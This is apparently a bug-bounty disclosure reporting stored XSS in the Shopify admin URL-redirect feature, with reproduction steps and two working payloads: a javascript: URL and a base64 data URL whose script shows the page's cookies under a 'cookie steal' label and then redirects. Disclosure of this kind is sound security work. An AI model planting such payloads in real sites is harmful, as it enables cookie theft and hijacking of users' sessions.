XSS - URL Redirects

How it was found

Hi! I found that https://[shop name].myshopify.com/admin/redirects is vulnerable to XSS To Reproduce:

1. Click Add Url Redirect
2. set page for redirect
3. add redirects as: javascript:alert(document.domain) or data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+ (XSS and URL redirect)
4. A new redirect link created
5. Click on link
6. XSS

Thanks Fr33d0m from vlazeg team